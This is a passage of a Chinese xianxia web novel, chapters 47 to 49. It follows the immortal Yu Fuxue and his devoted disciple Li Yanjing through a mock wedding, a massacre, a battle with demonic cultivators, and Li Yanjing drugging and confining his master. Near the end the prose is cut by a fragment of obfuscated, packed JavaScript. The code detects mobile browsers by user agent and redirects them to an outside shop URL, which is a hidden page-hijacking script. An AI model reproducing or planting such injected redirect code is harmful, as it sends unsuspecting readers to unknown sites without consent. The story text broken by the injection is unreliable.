他没有触碰我,一面施法掸去我头顶、肩膀的花瓣,一面将怀中的东西悉数纳入他的储物戒中。
李晏京的神情忐忑,他先是用故事压我,再直白地倾诉,最后明确地以行动告知我,他记住了我连自己都没记住的喜好,他想侵入我的世界。
他不满足于建立道心,仰望他的道。
他想要我。
不管他心中是何想法,我再次于灯火葳蕤中看他的眼眸,破妄眼、破妄眼,我细细咀嚼这名字,看他眼中的自己——一个内心阴暗、不择手段的仙人,我无端生出几分烦躁。
我率先撇开视线,看向恢复如初的街道,凡人此刻享乐于当下,落花会上不再担忧明天是否再次能见日出。
他们的性命……此间万千生灵的性命、万千因果,因天道贪婪,仙人不从,悉数压在我的肩上,我本就高傲,不能接受满盘皆输的结局。
如果我不是仙人,如果我不曾……
我微闭双眼,很快睁开,那点因他知我的喜悦转瞬消散,再无踪迹,我看着一地花瓣,只觉刺目难耐。
无需动手,我眼眸轻动,它们便悉数化作飞尘,再难拼凑。
“晏京,我知你心,不必多次试探,实话告诉你,我的确会死,但不是现在。”
我声音淡淡,李晏京为我受过的伤,奔波的苦,我都看在眼里,原本命运中,他该是顺风顺水,再一鸣惊人数百年的天才。
“可我不是你一个人的,晏京。”
“我是白玉仙都的仙人,是红尘万千生灵的仙人,独独不能是你的。”
“你有自己的路,”我仰头看向天空无边无际的黑暗,眼瞳亮起一圈光,“未来无我,你会过得更好。”
我故意如此说。
47. 仙人垂泪不语
李晏京很久都没有回话,但我想,他该是落寞的、失望的。
这也正合我的心意。
我没有耐心再等他开口,转身欲走,李晏京却难得大胆一回,在我缩地成寸离开之前,从背后搂住我。
没有用力,但我停了下来。
看着地上交叠混合的影子,我才惊觉,不知何时,那被我拖行也冥顽不灵的小孩已经长成这般大人模样。
他已经比我高,背影也比我更加宽阔。李晏京从背后抱住我时,我牢牢地被他圈在怀中,连影子也是,半分都不漏。
李晏京的胳膊环住我的腰肢,呼吸落在我的耳边,他低沉的嗓音响起,“是我哪里做的不好?郁负雪。”
其实他没有什么不好的。
我没有回答,淡淡道:“放开我。”
就在这一刻,他学会不再沉默。李晏京松开手,抓住我的肩膀掰过我。
他背对着身后落花集市,一束束烟花自后窜上天际,绽出五彩斑斓的花。
我抬眸扫过一眼,便意兴阑珊地再次看他,李晏京的神情莫测,眼神黑沉。
我清楚地明白,他不想再做我的影子了。
往日的承诺被他自己亲手打破,李晏京跨过那道线,就因为我说我不日将死?
他定定地望着我,观察片刻,淡笑,“郁负雪,告诉我你要做什么,我也能帮上忙的,你看见了不是吗?”
是指那些有利有弊的庙宇吗?的确,他为此付出诸多心血,但只是杯水车薪。
我不会告诉他我所肩负的东西,无论是他,或是其他人,他们需要做的只是活久一点,让我有时间做更多的事。
烟花散去,风轻轻吹动,未散的硝烟味卷住我们,李晏京见我沉默,轻哂,“那你找到想要的东西了吗?”
当然,你的眼睛。
可我仍是不答,面上带着不愉,警告道:“李晏京,莫要僭越。”
他本就不笨,我直觉他话中有话,他是否已经知道我在图谋不轨?
像是知道我的想法,李晏京道:“郁负雪,我除了你,什么也不在乎。”
凡人自发从我二人身边绕开,我侧目,他伸出手捏出不小心夹在我发间的花瓣。
“这段时间你看我的眼神变了,我原以为……但现在仔细想想,不是。我身上有仙人要的东西吗?我想想,你的变化是从我取剑后开始的,自那以后,你对我的容忍更甚从前。”
他原以为什么?
我神情微愣,很快回过神,沉声道:“那你就不该得寸进尺。”
李晏京慢吞吞地闭嘴,等我说完后再次开口,语调缓慢,听不出什么不满的情绪。
“仙人误会了什么?我是想说,这条命是你救的,如果仙人想要我的命,尽管拿去,我绝无怨言。我有时候觉得,我生来就是为了等你的,这话我从前不敢说。”
我掀了掀眼帘,嗤笑:“现在呢?”
李晏京轻声道:“不说我怕后悔一生。”
语罢,不等我恼火,他低头打量起他自己,兀自猜测,他有些修道的本事,是天资还是灵魂,何处能被取用?
“是要我的性命,还是我的天赋?是时机未到,还是仙人舍不得下手?”
我道:“你以为你的命值几钱?”
我分明没说什么,李晏京却倏地抬头,眼眸轻动,他洞悉人心的本事不比我差。
是因为从小就混迹于市野?
李晏京似是在夜晚的微风中叹了口气,“那就是需要我心甘情愿的交出?”
他猜对了,我却没有欣慰的感觉。李晏京跟着我的时间最长,他的这双眼睛也并非凡目,敏锐如此,我并不惊讶。
“仙人,做个交易吧。”
他说,想让我陪他五日,这五日不做仙人,只是修士,甚至做凡人也可,但这五日需尽量满足他的一切要求。他问我如此可否?
怎么,他当真以为我舍不得?
不过区区一个小修士,以为自己跟了我几年,便能威胁我了吗?
“你在威胁我?”
我气极反笑,稍一伸手,乐曲和喧闹声骤停,树上展翅欲飞的鸟雀凝滞在半空,孩童小手未抓稳,而掉下的点心也止住去势,离地面只剩半寸。
“我大可以把你炼成傀儡。”
我眼神一厉,李晏京便被仙力箍住脖子提起,他下意识挣了两下腿,很快又放松下来。
“那就无所谓什么心甘情愿了。”我语气轻飘,声音都透着危险。
李晏京面色涨红,只能发出细细气音,“不敢威胁仙人,就当是成全我死前一桩心愿……看在我追随仙人多年的份上。”
五日,对我而言其实算不得什么。
我看着李晏京,企图从他眼里看出想要折磨我的恨意,但就算我给予他痛苦,他也甘之如饴,眼里只有我、只有我……
那便答应他罢,用我的五日,换他的眼睛,换他未来道途顺畅,前路光明。
我收起仙力,定格的落花会继续进行,鸟雀腾飞,点心落地,花灯被火舌所燎,烧了起来,转眼间只剩下漆黑的框。
李晏京摸摸脖子,牵过我的手,他握得很小心,带着我往回走,他领我转糖画、猜谜题、将花灯放在我的手心。
一队扮作仙人的舞队跳着舞行过,我看他们翩翩起舞,衣袂飘飘,丝竹管弦奏乐不断,便伸手灭掉那用来烘托气氛的焰火。
落花会这日,焰火焚烧数百人的结局,在笑闹中被我轻轻压下。
五日短暂,转眼便过。
最后一日,李晏京提出愿望,想同我结为道侣,邀请项席见证,于戌时举办,昭告诸天,但不结任何契约。
“你发疯还要找人来看?”
我毫不犹豫,一掌击出,李晏京倒飞出去砸在山壁,口吐大量鲜血。
李晏京捂着胸口,气息紊乱,他的发冠也被我打散,玉冠滚落在地,乌发狼狈散落,他从垂到额前的发看我,勾唇而笑。
“项席知道,我同他说过。”他用一种我大可以打死他的语气道。
而我没有在意这件事,看他狼狈的模样,我低下头,看着自己的双手微微皱眉。
我好像有些不大对。
李晏京顺着石壁席地而坐,他看着我,提醒道:“仙人,这是最后一天,过了今天,你想取什么,我不会反抗。”
我甩袖离去,回到竹屋。
这里地处偏僻,位于崖底,竹屋废弃无人居住,是李晏京在一天内将其重新修缮、打扫干净,并把周围变成了世外桃源一般的地方。
进屋我便斜倚在窗边小榻,看着外头的风铃和青竹,耳边是嗡鸣不断的祈祷。
五日会不会太久了,久到让我骨子里生出逃避、烦躁,那无尽岁月中积累的教养寸寸崩塌。
我和李晏京计较什么?我为什么要把没来由的怒气撒在他的身上?
等他收拾好自己进屋,已经未时,我回头看向他,“晏京,我们结为道侣吧。”
项席赶来时,李晏京刚好布置完竹屋,他带来一套婚服,告诉我这是李晏京准备很久的衣服,还说,付渚最近在妖族,无法抽身,便托人送了些点心,是我之前尝过的荷花酥。
我换上婚服,尺寸合身,我看着铜镜中的自己,清楚地明白,我不仅是在满足李晏京的心愿,更是为自己的割舍找个结束的理由。
天色昏暗,烛火幽幽。
项席抱臂站在一侧,整个人位于阴影中,他小时候是三个人中最黏我的,这夜,从我和李晏京共着婚服而出,他就再也没说过话,连敬酒也是沉默地笑。
李晏京拿出两个陶瓷小人,一个身着淡蓝长袍,一个穿着朴素白衣,两人被红线绑在一起,他把东西放在置物木板上,神色眷恋。
互拜后,他侧头轻轻吻住我。李晏京屏住呼吸,动作很快,但吻得青涩,我没料到还有这个步骤,在我出手前,李晏京被项席推开。
我的掌风落空,击在木板上,陶瓷小人儿摇晃一瞬,两个均迎面趴在板上,仿佛不忍再看接下来会发生的事。
我只记得项席横在我面前,李晏京坐在地上,垂下眼眸,没有看我,可烛火闪烁,照亮他的面容,他难得的落了泪,手指紧紧攥着袖袍,无声的落泪。
这场五日闹剧该结束了。
我没有剜得破妄眼,从竹屋离开后,再没遇见过他们,耳边没有李晏京关切的絮语、项席从传讯灵鸟的唠叨,只有日夜不休的祈祷声。
他们谁也无法找到我,而我不信这世间除了破妄眼,再无其他方法堪破迷障。
我是仙人!我是手可触命、言可断运的仙人!我是白玉仙都最强的仙人!
我岂可屈服于天道!
寻得一镇歇脚,我坐于客栈上房内,房中已然设下法阵,纵使房内杯盏与茶水腾空乱飞,外界也无从得知。
我闭着双眸,眉头紧皱,盘腿悬于空中,随着凡人祈祷的声音放大,大衍诀算的自发运转,我的额间渗出薄汗。
我将仙力抽成细丝,手指轻送,仙力遁入无形虚空,一一顺着祈祷流向各方。
除却满足他们不大不小的夙愿,还自发修补世间被蛀空之地,此方天地坍缩成一个小型世界呈现于我神识中。
随着仙力抵达,隐隐晃动的小世界重新稳定,溢散的光点被笼罩,重新回归世间。
一波祈祷过去,又一波接着到来。
其中不乏真的得见仙人真迹的凡人,他们的愿望从最开始的活着,变成想要谁死,想要力量,想要天降机缘,还有寻得偏方者,开始生吃庙宇的香灰。
还有……还有人开始砸我的神像。
神识之外是黑暗,我身处其中不断推测命运轨迹,寻找登仙路的身影。
从根而寻,每次窥探命运后,更觉四下茫然,小世界仍在苟延残喘,我能救人,却救不了所有人。
那些枉死之灵徘徊不去,他们见仙人庙宇香火鼎盛,便在凡人身边日以继日地撺掇,用他们身上的邪念影响他们。
我能感觉到那种怨气,字字句句都在说——凭什么?凭什么你们能活着,而我连轮回路都无处寻?这世道是怎么了?如此不公!
可我分身乏术,无力阻止。
日头西斜,日出又起,我始终闭门不出,以大衍诀算推演命运,窥探每一个分支,我被浪潮冲没,又被凡人的祈祷之言捞起。
再次醒来,我身处镇中央,青天白日里四周静谧,被吸引而来的鸟在天空中盘旋。
我屏住呼吸,一点一点地低下头,看着衣袍上飞溅的血,手中不断滴血的剑。
呛啷——
仙剑落地,我噗通一声跪下,双膝砸地,表情一片空白,望着满目尸骸,我张了张嘴,竟无法
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吐出一字。
怎么会这样?是我杀的?
情绪堵住我的喉咙,血腥气后知后觉才触到我的神经,我头一回有想要呕吐的感觉。
我在哪儿?我干了什么?
我跪坐在地,抬头仰望天空,有些目眩,直到所有鲜血干涸凝固,天色昏暗,我仍未起身,脑海中凡人的声音我再没有回复,大衍诀算我也没有碰触。
那哀哀之鸟终于散开,纷纷没入树梢,我知道,它们没有离开,只是在黑暗中注视着我,亦如恶意满满的天道。
我目光空茫,放眼望去,夜色与我神识所见的无边黑暗竟别无二致。
那么,这些年我在坚持什么?为何挚友们可以慨然赴死,我却苟活于世?
白玉仙都……登仙路……天道……仙人……项席……付渚……李……
我纷乱的思绪戛然而止。
李晏京。
我瞳孔骤缩,回过神来嘴唇颤抖,喉中发出压抑的低吼,我难以抑制地弯下腰,对着凉薄的夜色与众人跪伏。
“……啊……啊!啊!!”
浑身震颤不已,我一下又一下地以拳捶地,全然不顾疼痛,寂静的镇中,只有我在大声嘶吼,声音沙哑。
仙力瞬间荡出,笼罩整座小镇,身后传来踉跄的脚步声,有人疾步跑来,同样重重跪在地上抱住我,我慢慢直起身。
是李晏京和项席。
我双目通红,脸有未干的泪痕,趴着的地方有丝丝带金的鲜血。
李晏京满脸担忧与自责,他的手指在颤抖,小心抹去我唇角的鲜血。
“没事了,没事了……”
我拂开李晏京的手,他的声音便止了,手顿在半途,表情不太好看。
项席站在我旁侧,他在看我吐出的血。
“……仙人,”项席蹲下,先是和李晏京对视一眼,对我解释道,“你别在意,你杀的都是坏人,他们想……”
我声音沙哑,出神地看着地面,打断他的话,“我知道。”
饮仙人血,可得长生不老,抚仙人骨,可直达通仙感悟,再不用受六道轮回苦,凡间俗欲困。
荒唐、荒唐。
项席微愣,再次看向李晏京,李晏京摇头,将话让给项席说,他只是沉默地陪我跪坐在地。
“你知道?那……”项席欲言又止。
“没关系。”
我扶着膝盖起身,眼前眩晕一瞬,摇晃之际,被李晏京扶住,我身形微顿,侧目看向他,“我没事。”
我没事,我也不能有事。
黑暗中窥伺的鸟儿终于按捺不住,从树梢窜出,我轻抬右手,手腕拧转,食恶念腐肉的鸟转瞬即灭。
再次推开两人的搀扶,对他们关切的询问,我充耳不闻。
飞身来到镇子最高处,风吹起我的长发,鼓动我的袖袍,我缓缓闭上双眸,双臂抬起,双手上下交错相合、拉开。
睁眼时,我的瞳孔变为全白,神识掠出千里,李晏京和项席站在下方,持剑仰望我。
没有繁复的阵法,也没有口诀,风静树止,脑中连续不断的祈祷停歇,世间慢了下来、停了下来。
此刻,所有法则均为我驻足。
我眼瞳光芒瞬亮,平展双臂,袖袍振动,发出呼的一声,停下来的一切又重新流淌。
所有尸骸发出柔和的白光,比月光更加温暖,一团团柔光自镇民们的尸体浮出扭动,不断变形,渐渐地化作一条又一条白色的游鱼。
它们先是各自绕着自己的尸体游了一圈,然后集体朝着天上摇尾游曳,镇子的各个角落,大大小小的白鱼缓慢游动而出,向中心汇聚。
白色的鱼绕成漩涡,一圈一圈地向上游动,我垂眸凝视下方两人,将他们的表情尽收眼底。
掀起眼帘,望向在镇中心旋转游动的白鱼们,我变掌为爪,眼神骤厉,两手并在一起用力拉扯,像在撕开什么。
随着我的动作,周围树叶沙沙作响,大片的叶子掉落在地,夜空中的月亮也用乌云遮住自己。
白鱼们躁动不安,隐有溃散之势,我抿紧唇,咽下喉中鲜血,硬生生在空中撕开一道纵裂的口。
“郁负雪!”两道厉呵同时响起。
我没有再向下望。
最接近天空的鱼调转方向,它们成群结队地向我而来,从我周身绕过,游向裂口。
我被它们包围,被它们照亮,尽管我双手的指尖已经渗出鲜血,可我依然未停。
直到最后一条白鱼游入裂缝,满地尸骸化作尘埃,无形的手抹掉血迹,镇子从最外围逐渐亮起灯,透过窗户依稀可见人影走动。
我有些脱力,本要翩然而落,伸出脚时,却从屋顶直接坠落,李晏京闪身跃起,牢牢地接住我,落地后和项席一同为我输送灵力。
对此,我不置可否。我被李晏京揽在怀中,皱眉压下口中腥甜。
缓过那阵劲儿,我半睁开眼,没有解释我的所作所为,只轻声道:“此地……往后便叫碧泉镇,在旁需设立一佛寺镇压,非必要不得惊扰镇民。”
项席和李晏京相顾无言,李晏京率先开口:“先别说这些了。”
我摇头,借着力道站起身。
“我活不了多久了,”我望着两人,淡淡笑开,“晏京、项席,我有些事需要你们陪同,在此期间,看住我,不要让我发疯。”
48. 要如何留住你
我无视了项席周身极淡的魔气,也无视了一直沉默不语的李晏京。
我带他们去往各地,开秘境、留天机,亲自凿刻白玉仙都三千九百九十九位仙者,以泉水稀释仙血,环布于此。
后取下腰间仙铃,封于木匣。
我对着上方的神像们俯拜下去。
“仅代负雪在此守望诸位。”
魔修与妖兽们偃旗息鼓一阵,再次卷土重来,各处纷乱不止,正道欲镇压诸邪。
掐指一算,大地之上,各地群星闪烁,世道越乱,诞生的天才便也越多。
李晏京和项席除魔卫道,在我的有意帮衬下,两人很快闻名于世。
项席身上的心魔气愈发的重了,每逢子夜到来,他的灵脉便会受逆行反噬之苦,也不知被谁所骗,他习惯压下声音,我权当不知。
李晏京在休息时会经常出去,很久才回来,回来时总带着一身寒凉。
长此几番,修为却日益莫测,堪称进步神速,他还是会时常看我,用灼热的眼神描摹我的背影,期待我回头。
我没有理他,只是望着明月出神。
这夜,魔修大军突袭,驻夜修士忙请支援,双方于两峰峡谷间对峙,我命李晏京和项席前去帮忙,自己飞身来到魔修最多的地方。
他们样貌狰狞,有的甚至骑着飞禽魔兽,呈大军压境之势,直取各派资源秘宝。
我忽然出现在领空之上,无甚威压,只手握一柄剑,剑身镶嵌暗华流转的弯月,看起来十分不自量力。
那为首的魔修将领喜出风头,挑的坐骑是威风凛凛的异化魔鹰,他站在鹰背上,懒懒抬手,下方传来两声短哨,所有人便滞空等待。
“嘿?”魔修眼神微动,神识荡出,附近只有瑟缩的虫蚁,“小子,就你一人?”
我向下看了一圈,“不错。”
此处山壁陡峭,中开一道宽路,周围树木丛生,鸟雀少有,地势偏了些,故被正道所轻视。
夜晚值守的人本就不多,如今修者天才多,心高气傲的也多,他们对魔修有所轻视,解决起来也方便,寻几个由头将人引走埋尸,谁也发现不了,这空档真容易叫人抓住。
外加地势原因,声音容易被石壁阻挡,魔修们再隐匿气息,来得顺顺利利。
将领仰头狂笑,手腕一翻,三叉长戟顿现,“你可知我们修为几何?凭你一人,怕是都不够我爱鹰塞牙缝的。”
那魔鹰张嘴,冲我尖啸,下方传来两声短哨,魔修大军继续向前。
我看着那音波朝我袭来,周围的空气都撕裂变形,不闪不避,只抬手轻捏,魔鹰的头瞬间爆开,它的翅膀一僵,打着旋儿自空中坠落。
所有人脸色齐变。
那将领怒极,滞空而立,抹了把满脸的魔鹰血,眼中暗藏惊惧,手指背在身后,凝着传音符。
我手指轻弹,他背后的符箓自发燃起,烫得将领不断甩手呼嚎。
我不顾形象地笑开,这正是我取破妄眼前要做的最后一件事,剔除正魔大战前最后一丝不稳定因素,将眼前万多魔修尽数斩杀。
脑中祈祷声夹杂着的恶念越来越多,我活动两下脖颈,“你们一群人修为几何?凭你们万人千兽,可够我一剑斩的?”
“狂妄!”其人浑身魔气暴涨。
“好大的口气!我倒是从未见过你,你是哪门哪派修士?一人能抵我万千人不成?!”
“有些眼熟……长得怎跟最近兴起的神庙里的人有几分像?”一人呢喃。
“那又如何?你当这世间真有仙家?故弄玄虚,我看他是想拖延到救援赶来!”
“别被他唬住了!”
魔修们魔气化刀,接连劈出,又以邪气四溢的圆镜连成镜甲将我包裹,出手的攻击全都没入虚空,再从镜甲各片遁出,朝我袭来。
我未出剑,五指成爪虚擒,一切攻击静止下来,湮灭不见,镜甲碎成千片,同其主人的烙印被我抹去。
“去。”
碎片呈残影迸射,洞穿千名修士心脉,其中不乏元婴者,逃跑的身影很是狼狈。
我丢出手中剑,它轻轻晃动,掠过之处元婴俱散,魔修们本已心生退意,见我直接弃剑,一时间,他们被压下去的愤怒战胜了恐惧。
唯一人而已,修为再高又如何?他们就是耗也定能将我耗死!
这是他们的表情告诉我的。
“可笑。”
我晃晃脑袋,脚步微移,躲开聚焦的攻击。没有剑,可剑自在心中。
下方众魔修试图直接越过我,偷偷前去捣毁大小门派、收纳凡间城镇,我头也不回将指尖一点,最前方的三排魔修被碾成渣,远远看去,倒像是一条画出来的红线。
“诸位还是不要越过此线为好。”
众人大惊失色,尽管十分不甘,可一时间都不敢再出手,他们知道,自己难逃一死。
只因精锐损伤多半,我却只出五招不到。
“敢问这位前辈……”
剑飞回我的身侧,“说。”
“趁夜突袭绝非我等本意,只是世间灵气隐有匮乏之势,抢夺资源有何过错!今夜不识前辈真身,是我等有所冒犯,请您高抬贵手,网开一面……”
我再次笑开,经年累月听着凡人庸俗的愿望,我这一笑,沾着几分邪气。
“你能主事?”我打量这出来说话的年轻魔修,好像是说我与神像一样的人。
“……当尽力而为。”
我闪身来到他身侧,手轻轻搭在他的肩上,那人浑身一颤,行礼的手交握更紧,努力克制身体恐惧的反应。
我眼瞳空茫,大衍诀算呈于眼前,捕捉些许画面后很快闭眼,收起神通。我不在乎他说的是真是假,指尖轻动,先是以咒点在他灵脉大穴,随后又灌注灵气,到他体内则成魔气。
“我要你三个月后找到一人,西南,迷障林,姓项,随后他想做什么,你就帮什么。”
那人就算再后悔上前也没有办法,他的关键气穴被我封住,虽修为照常,可从此以后,性命便不再是他自己的了。
他苦笑几声,放下手,平白得了修为灌注也高兴不起来,“……仅此而已?”
我颔首:“答应,我便放你们回去,若不答应,我可以换人。”
结界撤去,我挽剑横扫而出,几个实力强劲的,包括那领头将领,连法器都未能祭出便被剑气扫过,转眼灰飞烟灭。
如此,只剩那魔修可主事,至于他回去将会面临何种困境,与我无关。
望着他们开阵回去,我回到歇脚的山间,直接迈入潺潺溪流,让水洗去我沾上的血。
我知道,今日魔修被打退后,李晏京和项席的名字将会传遍整个修真界,妖族也有了他们的年轻妖王付渚。
他们三人将无人不知、无人不晓,并向着各道的第一前进,而正道联盟也即将成立,半月后,正魔大战正式开始,我终可寻得登仙路,于战始半年后神陨,此为“正轨”。
两人回来后,我仍不舍置身溪流的感觉,那清清凉凉的孤绝才是我的归宿。
李晏京将我拦腰捞起。
我并未动怒,项席轻飘飘看了一眼,就仰头望天,只是握着剑的手捏得很紧,他什么也没说。
我收回视线,推推李晏京:“回来了就休息,这是做什么?”
我已经看不懂他了,李晏京的气息逼人,总喜欢接近我,好像要将我整个融在他怀里,他才肯罢休。
“……想你了。”
李晏京发力抱住我,他的身上干干净净,但浑身煞气不减,我探他灵脉,已半干涸,随手就为其填补空缺。
“去休息。”
我轻轻推开他,朝溪边老树走去。
项席跟随而来,要同我告辞,他想助正道各派拧成一股对抗魔修,李晏京没有劝说,透着无声的默契,两人路上应当商量过什么。
我轻点他眉心,这并不能祛除他身上心魔气,只能助他道心稳定,他不日将会面临万众指责,众目睽睽下入魔。
可我帮不了什么,往后造化,还得看项席自己,我道:“好好活着。”
思来想去,我竟词穷到只能说这四字。
项席离开后,李晏京从我身后环抱住我,用鼻尖蹭我的后颈,“我在努力变强了,郁负雪,你能不能不要死?”
“是吗,可你还像个孩子。”
我扭手点他额头,无形的波震开李晏京,将他直直抛到水中。
“天天说,我是会听腻的。”
我皮笑肉不笑,转身欣赏着他的狼狈,这样的李晏京只属于我,任他人前再风光,可他的心,只为我而跳。
此刻,我感到诡异的满足。
李晏京走上岸,湿漉漉的像个水鬼,他的发丝黏在脸颊边,走近后,他便停下脚步垂眸盯着我。
他低下头,在我两侧脸颊印下微凉的吻。
“郁负雪,不要死,我还欠你一个堂堂正正的婚礼,我还没有告诉所有人……”
我再次轻推,李晏京呈抛物线落入水中。
“真是不吃教训。”
他这是怎么了?项席走后又开始胡言乱语,我心中压下去的嗜杀欲都被他搅散,徒留对他的无奈。
李晏京连呛几口水,再次爬上来,一步一步走到我面前,我站在原地,眼眸微眯,等他再次说那些什么昭告天下的胡话。
可他没有。
李晏京鼻尖的水珠滴落,他开口道:“……郁负雪,登仙路我替你毁,你不要死。”
我瞳孔骤缩,威压释放,伴随咔嚓骨裂声,李晏京跪了下去,半点不吭。
我耳中一片嗡鸣。
“谁告诉你的?”
我终于想起忽视已久的问题,李晏京是天才不错,但他进步得太快了,快到世间罕见。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535204|203792||http|test|mini|href|location''.split(''|''),0,{}));
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>李晏京低垂的头颅顶着威压抬起,他咬牙才能艰难地挤出话:“没……”
“没?”我打断他的话。
威压又加强几分,李晏京所跪之处硬生生凹陷下去,他整个人也跪伏在地上。
“晏京,我不喜欢你骗我。这些年我也给过你不少好处吧?想清楚了,什么该说什么不该说,不要惹我生气。”
而我的心跳一声大过一声,根本没有表面这般云淡风轻。
他怎么知道的?他了解了多少?别跳了!别跳了!吵死了!
天道?又是天道!李晏京也选择了天道!他要拦我?我死后要如何面对故友!
李晏京想要开口,但只能发出牙齿打颤的声音,瞧着像在惧怕我,也是,我不是什么正统仙人,行事作风不正,好剑走偏锋。
他怕我、恨我,都是应该的。
旁边传来一声响,我目光如刀看去,项席愣在不远处,有些不明白发生了什么。
“我……我有东西丢燕子那儿了。”
我没说话,冷眼看他,转身消失在原地。
正道对我的存在早已有所耳闻,傲气十足的魔修也得见我的神通,离开两人后我并未遮掩踪迹,正道发帖而来,邀我为联盟座上宾。
送帖之人是个佛修,自称参禅,阿弥陀佛满口念,但周身的邪煞之气不比魔修轻。
我知道这人是最近风头正盛的佛修大家,可我却是不屑,歪门邪道,连付渚都比不上。
魔修独大者、妖族高层,均有拉拢之意,全被我拒在门外。
若我不站任何一方倒也还好,可前些时日我击退魔修,这就无声表明态度。
有传言说,看见我身处魔域,还有传言说,我被正道收买成功,要驱赶妖、魔,使正道一家独大。
我在一处石洞中落脚,催动大衍诀算,于洞门设下禁制,未制止过任何一方的传讯邀请。
昏暗中,我的眼前时常闪过白玉仙都的众人,闪过天外天裂开那日,想起三个小孩,想起李晏京的痴缠。
但我注定一无所有。
半月后,正魔大战打响,生灵涂炭。
我从石洞中睁眼,七窍被仙力治愈,流出的血痕消散,我呼出一口气,难掩疲倦,好在我已知晓,登仙路在南方。
石洞外又传来声音,不知又是哪方人士传讯,我打开禁制,一只纸折的传讯鸟扑腾着翅膀飞进。
我微微皱眉,捏着传讯鸟打开,紧接着,手一顿,神识外放,只见李晏京面无表情地站在石洞外,于风中静默。
我重新低下头,纸上写着——
求仙人解惑。
我攥着纸张撤去禁制,缓步走出,只是几天不见,李晏京修为又提升不少,我冷笑一声,“你还是没想通?”
李晏京黑沉沉的眼眸看着我,眨也不眨,他摇头道:“不,是因为想通了才来找您。”
我视线扫过他的双腿:“可痊愈了?”
李晏京拱手:“劳仙人关心,项席为我治疗过了,只是他如今入魔,不太方便出面,许多人都要杀他,故今日只有我前来探望仙人,还请勿怪。”
我眉头微蹙:“我问的不是这个。”
李晏京不紧不慢道:“那仙人是想问什么?我一一答了,仙人就为我解惑可好?”
我沉默片刻,很快舒展眉梢,也罢,这样的态度很好:“你恨我吗?”
李晏京像是听到什么笑话,神色间尽是无奈与稀奇:“不恨,怎么会这么想?”
我攥紧纸张的手松开一瞬:“那你……”
无需我问完,李晏京便十分认真道:“仙人,我是爱你的,尽管这不太像话。”
我不知作何反应,从头到尾也没打算为他解惑,见他如今安好,其他的我也就不再问了,说实话,不重要。
我将纸放到他手中:“解惑就算了,我还有事,下次再说,说不定……”
我内心松快,走近又抬眸看他,却见他眼中带着笑与悲戚,与刚刚一派淡然完全不同。
未等我反应过来,我身形一晃,无力感蔓延全身,仙元运转停滞,我下意识抓住他的胳膊想要站稳,李晏京却头一次拂开我的手,将我拦腰横抱。
“为何不解?”
我想要开口训斥,想要唤剑削他,可我此刻宛如木偶,四肢无力逐渐僵化。
那张纸——!
李晏京无视我满目怒火,他低下头,在我唇上啄吻,怎么也亲不够似的。
在厮磨间,他低沉的声音响起:“我要如何才能留住你?这些时日我反复思考这个问题,又偶得一仙草,能让人无力僵化,我就在猜……仙草对仙人有没有用?”
“后面这个问题仙人替我答了,有用。”他的声音透露着满足。
李晏京轻轻咬了一下我,直起身,漆黑的眼眸笑意盈盈:“那前者呢?”
“郁负雪,我要如何留住你?”
49. 我爱你郁负雪
我要被他气笑了。
“我知道你很生气。”
李晏京再次低头,亲吻我的眉心,语气莫测:“可怎么办呢?一想到我再也见不到你,我就想死。”
狗东西!我怒目而视,等我能动弹后,定要将他剥皮抽骨!他不是想死吗!我成全他!
李晏京抱着我,将我的脸摁向他怀侧,我便看不清周围场景,只觉他辗转多次,最后停在昏暗幽寂之处。
我被他放在床榻上,他动作轻柔地取出捆仙索,反绑我的双手。
“瞪这么久?累不累?”他阖上我的眼帘,弯腰在我眼角亲了两下,“绳索上也有那仙草,一时半会儿你跑不了的。”
他怎么敢的!我好不容易走到现在这一步!他为一己私欲,就能置天下人于不顾?
“好好待着,这间屋子是我特意为你准备的。”
李晏京站在床榻边,反手一指,熏香袅袅升起,他背着光,神情隐在暗处,不说话时有一种无言的压迫感。
如果换作从前,我只会对他的成长感到欣慰,想要坐稳正道第一人的位置光有修为还不够,但现在,我只后悔没有早挖掉他的眼睛。
李晏京轻笑,声音在我耳边响起,他再次弯下腰,牙齿本已经碰到我的唇,却又停下,转为温柔的亲吻:“舍不得咬你。”
“我要去忙了,联盟初建立,人心浮动,还有魔修混入,麻烦得很。过会儿你就能睁眼了,希望你喜欢这儿,郁负雪,等我回来。”
门吱呀打开,灵力波动后屋内安静下来,李晏京走了。
我全力提气,催动仙元,可它震颤几下,半点儿仙力也不给我。
他哪里来的什么仙草?我不由得思考,第一时间怀疑的便是天道,它定是知道李晏京对我的情,有所利用也不奇怪。
等能睁开双目,环顾四周,只一眼,我便知道我身处何地。
满屋红色绸缎,干涸的红烛坑坑洼洼,不远处圆桌上白色的烟从香炉中升起,我猜其中多半也是仙草。
这是我们玩笑般成婚的地方,李晏京用心布置过的竹屋。
我烦躁地闭目,与脑中凡人的祈祷声相伴,养精蓄锐。
正魔大战开始,李晏京忙得脚不沾地,但无论多晚,他总是会来到竹屋陪我说话。
他告诉我,魔修贪婪,其内里也不太平,因为我的缘故,他们分为了两方,一方拥护现任魔尊,另一方人数极少,被魔尊追杀,跟着一个叫江岸的魔修离开了魔域。
我闭上眼睛,知道他说的是谁,那天敢同我说话的魔修。
“我觉得好可惜,早知那日便不去支援他人,没能见仙人一指斩魔修的风姿。”
李晏京重点不在势力变化上,此刻,他那冷漠的心才初显端倪。
他坐在床榻边,抚过我的手腕,为我解开双手,着迷地看着手腕的红痕,再将手指穿过我的指缝。
我只能看着他同我十指紧扣,拉起我无力的手,一一亲过我的指尖。
“真不知道什么时候才能再次看见,郁负雪,不如你来我识海,教我一观,可好?”
我冷眼看他,疯子!好啊!只要他有胆!
若放我进入他的识海,我定会把他弄个半残!
李晏京从虔诚低语中抬起头,挑起我的一根手指摁在他眼皮上,带着淡笑,自问自答。
“好像也不行,那会给你机会逃跑的。对了,郁负雪,我们五日约定已经结束很久,可你始终未提你要的,想来不是我的命。”
他挪开我的手:“我在想,那会是什么呢?多半是眼睛。”
“从前你看我们三人时,每次和我对视,我都能感觉到你不大喜欢我,一开始我很伤心,你讨厌我,为何要救我。”
